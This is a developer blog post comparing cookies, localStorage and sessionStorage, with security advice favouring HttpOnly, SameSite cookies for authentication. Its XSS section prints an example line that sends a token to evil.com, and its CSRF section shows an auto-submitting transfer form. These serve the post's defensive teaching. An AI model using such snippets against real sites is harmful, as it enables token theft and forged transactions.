DEV Community

Cover image for Cookies vs LocalStorage vs SessionStorage: The Difference Developers Actually Need to Know
Syed Anzar
Syed Anzar

Posted on

Cookies vs LocalStorage vs SessionStorage: The Difference Developers Actually Need to Know

Cookies vs LocalStorage vs SessionStorage: The Difference Developers Actually Need to Know

You use them every day. You probably have a default mental model: "cookies are small, localStorage is big, sessionStorage dies when the tab closes."

That mental model is mostly right — and dangerously incomplete.

The real differences aren't about size or persistence. They're about who controls the data, what attacks can steal it, and what the browser automatically does with it on every single request.

If you store a JWT in localStorage because "it's bigger than a cookie," you've already made the most common security mistake in modern frontend development.


The Three Mechanisms — What They Actually Are

Property Cookies localStorage sessionStorage
Who creates it Server (Set-Cookie header) or JS (document.cookie) JavaScript only JavaScript only
Who reads it Server (auto-sent), JS (unless HttpOnly) JavaScript only JavaScript only
Persistence Configurable (Expires/Max-Age) Until explicitly cleared Until tab closes
Scope Domain + Path (configurable) Origin (scheme + host + port) Origin + specific tab
Capacity ~4 KB per cookie ~5–10 MB ~5–10 MB
Sent with requests Automatically, always Never Never
Threading Synchronous (network boundary) Synchronous (blocks main thread) Synchronous (blocks main thread)
Data type Strings only Strings only Strings only

The Critical Misunderstanding: Cookies Ride the Network

This is the single most important fact:

Every valid cookie for a domain is automatically attached to every HTTP request to that domain. HTML, CSS, JS, images, fonts, API calls, favicons — all of them.

If you put a 3 KB JSON blob in a cookie, and your page loads 50 resources, the browser uploads 150 KB of redundant cookie data before the server processes a single request. On mobile 3G, this destroys TTFB.

Cookies are not a client-side database. They are a state-transport mechanism.


The XSS Asymmetry: Why HttpOnly Changes Everything

localStorage.getItem('token')  // XSS payload reads it in one line
fetch('https://evil.com/steal?t=' + token)  // Exfiltrated
Enter fullscreen mode Exit fullscreen mode

Any XSS vulnerability — a vulnerable npm dependency, a missed escape in a template, a third-party script — gives the attacker full read access to localStorage and sessionStorage. The token is portable. It works from the attacker's machine, anywhere, until it expires.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
Enter fullscreen mode Exit fullscreen mode

With HttpOnly, the browser's C++ engine physically denies the JavaScript engine access. document.cookie returns nothing for that cookie. The attacker can still make requests while the user has the page open (session riding), but they cannot extract the credential for offline use.

That asymmetry — short-lived damage vs. persistent account takeover — is why HttpOnly cookies are the correct default for authentication.


The CSRF Trap: Cookies Ride Automatically

Because cookies attach automatically, a malicious site can trigger your endpoints:

<!-- evil.com -->
<form action="https://yourbank.com/transfer" method="POST">
  <input name="amount" value="10000">
  <input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
Enter fullscreen mode Exit fullscreen mode

If your auth cookie lacks SameSite protection, the browser sends it. The transfer executes.

Modern mitigation (since 2020):

  • SameSite=Lax (default in all major browsers): Cookie sent on same-site requests + top-level cross-site GET navigations. Blocks most CSRF.
  • SameSite=Strict: Never sent cross-site. Strongest protection, breaks some legitimate flows (email links).
  • SameSite=None; Secure: Explicitly opts into cross-site sending. Required for embedded widgets, SSO.

The Synchronous Trap: localStorage Blocks the Main Thread

localStorage.setItem('hugeData', JSON.stringify(largeObject))
// Main thread HALTS until write completes
// On mobile, 5 MB write can freeze UI for 100–500ms
Enter fullscreen mode Exit fullscreen mode

localStorage and sessionStorage are synchronous. The browser writes to disk (typically an SQLite file) before returning. Large writes or JSON parsing on retrieval block the UI thread.

IndexedDB exists for this reason — asynchronous, transactional, supports structured clones (no JSON.stringify overhead), handles hundreds of MB.


The Private Browsing Trap

Safari Private Browsing throws QuotaExceededError on every localStorage.setItem. Chrome allows writes but wipes everything on close.

try {
  localStorage.setItem('key', 'value')
} catch (e) {
  // Handle private mode gracefully
}
Enter fullscreen mode Exit fullscreen mode

Always wrap storage writes in try/catch. Assume storage can disappear.


The "Session" Confusion

sessionStorage ≠ Server Session

Concept What It Actually Is
Server-side session User state on your server, linked by a session ID cookie
sessionStorage Tab-scoped client-side key-value store, cleared on tab close
Session cookie Cookie without Expires/Max-Age — deleted when browser process exits

Developers constantly confuse these three. They are completely different things.


Decision Flow: What Goes Where

Does the server need this on every request?
├── YES → Cookie (HttpOnly + Secure + SameSite=Strict/Lax)
│         • Auth tokens, session IDs, CSRF tokens
│         • A/B test buckets the server reads
│         • Keep under 4 KB total
│
└── NO → Is it HTTP responses for offline PWA?
         ├── YES → Cache API + Service Worker
         │
         ├── Is it MB-scale or structured objects/blobs?
         │   └── YES → IndexedDB (use Dexie or idb)
         │
         ├── Should it survive tab close?
         │   ├── YES → localStorage (non-sensitive only: theme, prefs, UI state)
         │   └── NO → sessionStorage (form drafts, wizard step state, per-tab UI)
         │
         └── Is it sensitive (PII, tokens, keys)?
             └── YES → Don't store client-side. Keep on server.
Enter fullscreen mode Exit fullscreen mode

Common Mistakes That Ship to Production

Mistake Why It's Wrong Fix
JWT in localStorage XSS = full account takeover HttpOnly cookie
JWT in sessionStorage Same XSS risk, slightly smaller window HttpOnly cookie
Large JSON in cookies 150 KB+ header bloat per page load Move to localStorage/IndexedDB
Auth cookie without Secure Leaks in plaintext over HTTP Always Secure
Auth cookie without SameSite CSRF wide open SameSite=Lax minimum
localStorage.setItem(obj) without stringify Stores "[object Object]" JSON.stringify()
No try/catch on storage writes Crashes in Safari Private Browsing Wrap every write
Assuming localStorage is permanent Safari ITP clears after 7 days inactivity Server-side recovery path
Storing refresh token in localStorage Long-lived credential, portable theft HttpOnly cookie + rotation
Using cookies for theme/locale Wastes bandwidth on every request localStorage (or cookie if SSR needs it)

The Mental Model to Keep

Storage Think of it as
HttpOnly Cookie A key the server gave you. You carry it but can't read it. The browser hands it to the server automatically.
localStorage A shared notebook on the user's device. Any script on your origin can read/write. Survives restarts.
sessionStorage A scratchpad for this tab only. Thrown away when the tab closes.
IndexedDB A real embedded database. Async, transactional, handles blobs and indexes.
Cache API A cache of HTTP responses. For offline PWAs.

TL;DR

  • Auth tokens → HttpOnly + Secure + SameSite cookie. Not localStorage. Not sessionStorage. Not memory (impractical).
  • Non-sensitive prefs that survive restarts → localStorage. Keep it small. Wrap in try/catch.
  • Per-tab transient state → sessionStorage. Form drafts, wizard steps.
  • Large/complex/offline data → IndexedDB. Use Dexie or idb.
  • Offline HTTP resources → Cache API + Service Worker.
  • Anything truly sensitive → Server. Not the browser.

The browser gives you a layered system. Use each layer for what it's designed for, and you avoid the security and performance bugs that plague every codebase that treats all storage as interchangeable.


Tags: javascript, webdev, security, frontend, storage

Top comments (0)